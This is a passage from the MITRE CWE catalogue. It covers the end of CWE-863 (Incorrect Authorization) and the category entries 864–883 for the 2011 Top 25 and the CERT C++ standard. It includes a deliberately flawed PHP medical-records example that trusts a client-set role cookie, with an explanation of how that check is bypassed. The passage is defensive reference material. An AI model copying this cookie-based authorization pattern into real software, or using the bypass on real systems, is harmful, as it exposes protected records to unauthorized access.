Cost effective for partial coverage:

- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer
- Forced Path Execution
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

**PHP Example:***Bad Code*

```

$role = $_COOKIES['role'];
if (!$role) {
    $role = getRole('user');
    if ($role) {
        // save the cookie to send out in future responses
        setcookie("role", $role, time()+60*60*2);
    }
    else{
        ShowLoginScreen();
        die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{

```

```
die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when `getRole()` succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the `$role` variable is "Reader", and `getRole()` is never invoked. The attacker has bypassed the authorization system.

### Observed Examples

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.

### Potential Mitigations

#### Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [R.863.1] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

#### Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [R.863.2].

#### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.863.4] and the OWASP ESAPI Access Control feature [R.863.5].

#### Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

## System Configuration

### Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		285	Improper Authorization	<b>699</b> <b>1000</b>	501
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
ChildOf		817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	1248
ChildOf		866	2011 Top 25 - Porous Defenses	<b>900</b>	1309
ParentOf		551	<i>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</i>	<b>699</b> <b>1000</b>	889
ParentOf		647	<i>Use of Non-Canonical URL Paths for Authorization Decisions</i>	<b>699</b> <b>1000</b>	1003
ParentOf		804	<i>Guessable CAPTCHA</i>	<b>699</b> <b>1000</b>	1229
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

### References

NIST. "Role Based Access Control and Role Based Security". < <http://csrc.nist.gov/groups/SNS/rbac/> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.

Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. < <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/> >.

[REF-23] Rahul Bhattacharjee. "Authentication using JAAS". < <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39.. 1st Edition. Addison Wesley. 2006.

## CWE-864: 2011 Top 25 - Insecure Interaction Between Components

Category ID: 864 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	900	121
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	900	131
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	900	159
ParentOf	3	352	Cross-Site Request Forgery (CSRF)	900	611
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	900	742
ParentOf	V	601	URL Redirection to Untrusted Site ('Open Redirect')	900	942
ParentOf	G	829	Inclusion of Functionality from Untrusted Control Sphere	900	1262
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1327

### References

"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011-06-27. < <http://cwe.mitre.org/top25> >.

## CWE-865: 2011 Top 25 - Risky Resource Management

Category ID: 865 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	900	30
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	900	234
ParentOf	B	131	Incorrect Calculation of Buffer Size	900	269
ParentOf	B	134	Uncontrolled Format String	900	277
ParentOf	B	190	Integer Overflow or Wraparound	900	361
ParentOf	B	494	Download of Code Without Integrity Check	900	835
ParentOf	B	676	Use of Potentially Dangerous Function	900	1044
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1327

### References

"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011-06-27. < <http://cwe.mitre.org/top25> >.

## CWE-866: 2011 Top 25 - Porous Defenses

Category ID: 866 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	250	Execution with Unnecessary Privileges	900	440
ParentOf	V	306	Missing Authentication for Critical Function	900	537
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	900	541
ParentOf	B	311	Missing Encryption of Sensitive Data	900	548
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	900	573

Nature	Type	ID	Name	V	Page
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	900	1121
ParentOf	B	759	Use of a One-Way Hash without a Salt	900	1153
ParentOf	B	798	Use of Hard-coded Credentials	900	1219
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	900	1239
ParentOf	C	862	Missing Authorization	900	1299
ParentOf	C	863	Incorrect Authorization	900	1304
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1327

### References

"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011-06-27. < <http://cwe.mitre.org/top25> >.

## CWE-867: 2011 Top 25 - Weaknesses On the Cusp

Category ID: 867 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	129	Improper Validation of Array Index	900	258
ParentOf	B	209	Information Exposure Through an Error Message	900	397
ParentOf	B	212	Improper Cross-boundary Removal of Sensitive Data	900	405
ParentOf	C	330	Use of Insufficiently Random Values	900	581
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	900	627
ParentOf	B	456	Missing Initialization of a Variable	900	770
ParentOf	B	476	NULL Pointer Dereference	900	798
ParentOf	B	681	Incorrect Conversion between Numeric Types	900	1058
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	900	1143
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	900	1175
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	900	1183
ParentOf	B	805	Buffer Access with Incorrect Length Value	900	1230
ParentOf	B	822	Untrusted Pointer Dereference	900	1250
ParentOf	B	825	Expired Pointer Dereference	900	1255
ParentOf	B	838	Inappropriate Encoding for Output Context	900	1277
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	900	1284
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	1327

### References

"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011-06-27. < <http://cwe.mitre.org/top25> >.

## CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

View ID: 868 (View: Graph) Status: Incomplete

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

### View Data

## View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>111</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	16	out of	244
<b>Weaknesses</b>	93	out of	719
<b>Compound_Elements</b>	2	out of	8

## View Audience

### Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

### Software Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	869	CERT C++ Secure Coding Section 01 - Preprocessor (PRE)	<b>868</b>	1312
HasMember	<b>C</b>	870	CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)	<b>868</b>	1312
HasMember	<b>C</b>	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	<b>868</b>	1312
HasMember	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	<b>868</b>	1313
HasMember	<b>C</b>	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	<b>868</b>	1313
HasMember	<b>C</b>	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	<b>868</b>	1313
HasMember	<b>C</b>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	<b>868</b>	1314
HasMember	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
HasMember	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
HasMember	<b>C</b>	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	<b>868</b>	1316
HasMember	<b>C</b>	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	<b>868</b>	1317
HasMember	<b>C</b>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<b>868</b>	1317
HasMember	<b>C</b>	881	CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)	<b>868</b>	1318
HasMember	<b>C</b>	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	<b>868</b>	1318
HasMember	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318

## Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## References

"The CERT C++ Secure Coding Standard". < <https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=637> >.



## CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE)

Category ID: 869 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Preprocessor (PRE) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "01. Preprocessor (PRE)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/01.+Preprocessor+%28PRE%29> >.

## CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID: 870 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "02. Declarations and Initialization (DCL)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/02.+Declarations+and+Initialization+%28DCL%29> >.

## CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP)

Category ID: 871 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	476	NULL Pointer Dereference	868	798
ParentOf	B	480	Use of Incorrect Operator	868	809
ParentOf	V	768	Incorrect Short Circuit Evaluation	868	1173
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "03. Expressions (EXP)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/03.+Expressions+%28EXP%29> >.



## CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT)

Category ID: 872 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	<b>C</b>	20	Improper Input Validation	868	18
ParentOf	<b>B</b>	129	Improper Validation of Array Index	868	258
ParentOf	<b>B</b>	190	Integer Overflow or Wraparound	868	361
ParentOf	<b>C</b>	192	Integer Coercion Error	868	368
ParentOf	<b>B</b>	197	Numeric Truncation Error	868	381
ParentOf	<b>B</b>	369	Divide By Zero	868	647
ParentOf	<b>B</b>	466	Return of Pointer Value Outside of Expected Range	868	783
ParentOf	<b>B</b>	587	Assignment of a Fixed Address to a Pointer	868	927
ParentOf	<b>B</b>	606	Unchecked Input for Loop Condition	868	953
ParentOf	<b>B</b>	676	Use of Potentially Dangerous Function	868	1044
ParentOf	<b>B</b>	681	Incorrect Conversion between Numeric Types	868	1058
ParentOf	<b>C</b>	682	Incorrect Calculation	868	1060
MemberOf	<b>V</b>	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "04. Integers (INT)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/04.+Integers+%28INT%29> >.

## CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)

Category ID: 873 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Floating Point Arithmetic (FLP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	<b>B</b>	369	Divide By Zero	868	647
ParentOf	<b>B</b>	681	Incorrect Conversion between Numeric Types	868	1058
ParentOf	<b>C</b>	682	Incorrect Calculation	868	1060
ParentOf	<b>V</b>	686	Function Call With Incorrect Argument Type	868	1066
MemberOf	<b>V</b>	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "05. Floating Point Arithmetic (FLP)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/05.+Floating+Point+Arithmetic+%28FLP%29> >.

## CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)

Category ID: 874 (Category)

Status: Incomplete

## Description

## Summary

Weaknesses in this category are related to rules in the Arrays and the STL (ARR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	<b>C</b>	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf	<b>B</b>	129	Improper Validation of Array Index	868	258
ParentOf	<b>V</b>	467	Use of sizeof() on a Pointer Type	868	784
ParentOf	<b>B</b>	469	Use of Pointer Subtraction to Determine Size	868	788
ParentOf	<b>B</b>	665	Improper Initialization	868	1027
ParentOf	<b>B</b>	805	Buffer Access with Incorrect Length Value	868	1230
MemberOf	<b>V</b>	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

## References

CERT. "06. Arrays and the STL (ARR)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/06.+Arrays+and+the+STL+%28ARR%29> >.

## CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR)

Category ID: 875 (Category)

Status: Incomplete

## Description

## Summary

Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	<b>B</b>	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	121
ParentOf	<b>B</b>	88	Argument Injection or Modification	868	155
ParentOf	<b>C</b>	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf	<b>B</b>	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	868	234
ParentOf	<b>B</b>	170	Improper Null Termination	868	328
ParentOf	<b>B</b>	193	Off-by-one Error	868	371
ParentOf	<b>B</b>	464	Addition of Data Structure Sentinel	868	781
ParentOf	<b>V</b>	686	Function Call With Incorrect Argument Type	868	1066
ParentOf	<b>C</b>	704	Incorrect Type Conversion or Cast	868	1104
MemberOf	<b>V</b>	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

## References

CERT. "07. Characters and Strings (STR)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/07.+Characters+and+Strings+%28STR%29> >.

## CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM)

Category ID: 876 (Category)

Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to rules in the Memory Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	868	Page
ParentOf		20	Improper Input Validation	868	18
ParentOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf		128	Wrap-around Error	868	257
ParentOf		131	Incorrect Calculation of Buffer Size	868	269
ParentOf		190	Integer Overflow or Wraparound	868	361
ParentOf		226	Sensitive Information Uncleared Before Release	868	417
ParentOf		244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	868	434
ParentOf		252	Unchecked Return Value	868	446
ParentOf		391	Unchecked Error Condition	868	675
ParentOf		404	Improper Resource Shutdown or Release	868	699
ParentOf		415	Double Free	868	716
ParentOf		416	Use After Free	868	719
ParentOf		476	NULL Pointer Dereference	868	798
ParentOf		528	Exposure of Core Dump File to an Unauthorized Control Sphere	868	869
ParentOf		590	Free of Memory not on the Heap	868	930
ParentOf		591	Sensitive Data Storage in Improperly Locked Memory	868	932
ParentOf		665	Improper Initialization	868	1027
ParentOf		687	Function Call With Incorrectly Specified Argument Value	868	1067
ParentOf		690	Unchecked Return Value to NULL Pointer Dereference	868	1071
ParentOf		703	Improper Check or Handling of Exceptional Conditions	868	1102
ParentOf		754	Improper Check for Unusual or Exceptional Conditions	868	1143
ParentOf		762	Mismatched Memory Management Routines	868	1162
ParentOf		770	Allocation of Resources Without Limits or Throttling	868	1175
ParentOf		822	Untrusted Pointer Dereference	868	1250
MemberOf		868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

**References**

CERT. "08. Memory Management (MEM)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29> >.

## CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO)

Category ID: 877 (Category)

Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	868	Page
ParentOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	868	30

Nature	Type	ID	Name	V	Page
ParentOf	V	37	Path Traversal: '/absolute/pathname/here'	868	67
ParentOf	V	38	Path Traversal: 'absolute\pathname\here'	868	68
ParentOf	V	39	Path Traversal: 'C:dirname'	868	70
ParentOf	B	41	Improper Resolution of Path Equivalence	868	73
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	868	91
ParentOf	V	62	UNIX Hard Link	868	96
ParentOf	V	64	Windows Shortcut Following (.LNK)	868	98
ParentOf	V	65	Windows Hard Link	868	100
ParentOf	V	67	Improper Handling of Windows Device Names	868	103
ParentOf	C	73	External Control of File Name or Path	868	109
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf	B	134	Uncontrolled Format String	868	277
ParentOf	B	241	Improper Handling of Unexpected Data Type	868	430
ParentOf	V	276	Incorrect Default Permissions	868	490
ParentOf	V	279	Incorrect Execution-Assigned Permissions	868	494
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	627
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	868	642
ParentOf	B	379	Creation of Temporary File in Directory with Incorrect Permissions	868	659
ParentOf	B	391	Unchecked Error Condition	868	675
ParentOf	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	868	697
ParentOf	B	404	Improper Resource Shutdown or Release	868	699
ParentOf	B	552	Files or Directories Accessible to External Parties	868	889
ParentOf	C	675	Duplicate Operations on Resource	868	1043
ParentOf	B	676	Use of Potentially Dangerous Function	868	1044
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	868	1121
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	868	1175
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

## References

CERT. "09. Input Output (FIO)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/09.+Input+Output+%28FIO%29> >.

# CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV)

Category ID: 878 (Category)

Status: Incomplete

## Description

### Summary

Weaknesses in this category are related to rules in the Environment (ENV) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	121
ParentOf	B	88	Argument Injection or Modification	868	155
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	226
ParentOf	⚠	426	Untrusted Search Path	868	729

Nature	Type	ID	Name	V	Page
ParentOf	B	462	Duplicate Key in Associative List (Alist)	868	779
ParentOf	C	705	Incorrect Control Flow Scoping	868	1105
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	868	1239
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "10. Environment (ENV)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/10.+Environment+%28ENV%29> >.

## CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG)

Category ID: 879 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Signals (SIG) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	868	807
ParentOf	B	662	Improper Synchronization	868	1024
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "11. Signals (SIG)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/11.+Signals+%28SIG%29> >.

## CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)

Category ID: 880 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	209	Information Exposure Through an Error Message	868	397
ParentOf	C	390	Detection of Error Condition Without Action	868	671
ParentOf	B	391	Unchecked Error Condition	868	675
ParentOf	V	460	Improper Cleanup on Thrown Exception	868	777
ParentOf	V	497	Exposure of System Data to an Unauthorized Control Sphere	868	840
ParentOf	B	544	Missing Standardized Error Handling Mechanism	868	883
ParentOf	C	703	Improper Check or Handling of Exceptional Conditions	868	1102
ParentOf	C	705	Incorrect Control Flow Scoping	868	1105
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	868	1143
ParentOf	C	755	Improper Handling of Exceptional Conditions	868	1150
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References



CERT. "12. Exceptions and Error Handling (ERR)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/12.+Exceptions+and+Error+Handling+%28ERR%29> >.

## CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)

Category ID: 881 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Object Oriented Programming (OOP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		485	Insufficient Encapsulation	868	819
MemberOf		868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "13. Object Oriented Programming (OOP)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/13.+Object+Oriented+Programming+%28OOP%29> >.

## CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON)

Category ID: 882 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Concurrency (CON) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	627
ParentOf		366	Race Condition within a Thread	868	640
ParentOf		404	Improper Resource Shutdown or Release	868	699
ParentOf		488	Exposure of Data Element to Wrong Session	868	823
ParentOf		772	Missing Release of Resource after Effective Lifetime	868	1183
MemberOf		868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "14. Concurrency (CON)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/14.+Concurrency+%28CON%29> >.

## CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 883 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	868	12
ParentOf	C	20	Improper Input Validation	868	18
ParentOf	C	116	Improper Encoding or Escaping of Output	868	217
ParentOf	V	176	Improper Handling of Unicode Encoding	868	339
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	868	573
ParentOf	C	330	Use of Insufficiently Random Values	868	581
ParentOf	B	480	Use of Incorrect Operator	868	809
ParentOf	V	482	Comparing instead of Assigning	868	814
ParentOf	V	561	Dead Code	868	895
ParentOf	V	563	Assignment to Variable without Use ('Unused Variable')	868	899
ParentOf	V	570	Expression is Always False	868	906
ParentOf	V	571	Expression is Always True	868	908
ParentOf	C	697	Insufficient Comparison	868	1078
ParentOf	C	704	Incorrect Type Conversion or Cast	868	1104
MemberOf	V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard	868	1310

### References

CERT. "49. Miscellaneous (MSC)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/49.+Miscellaneous+%28MSC%29> >.

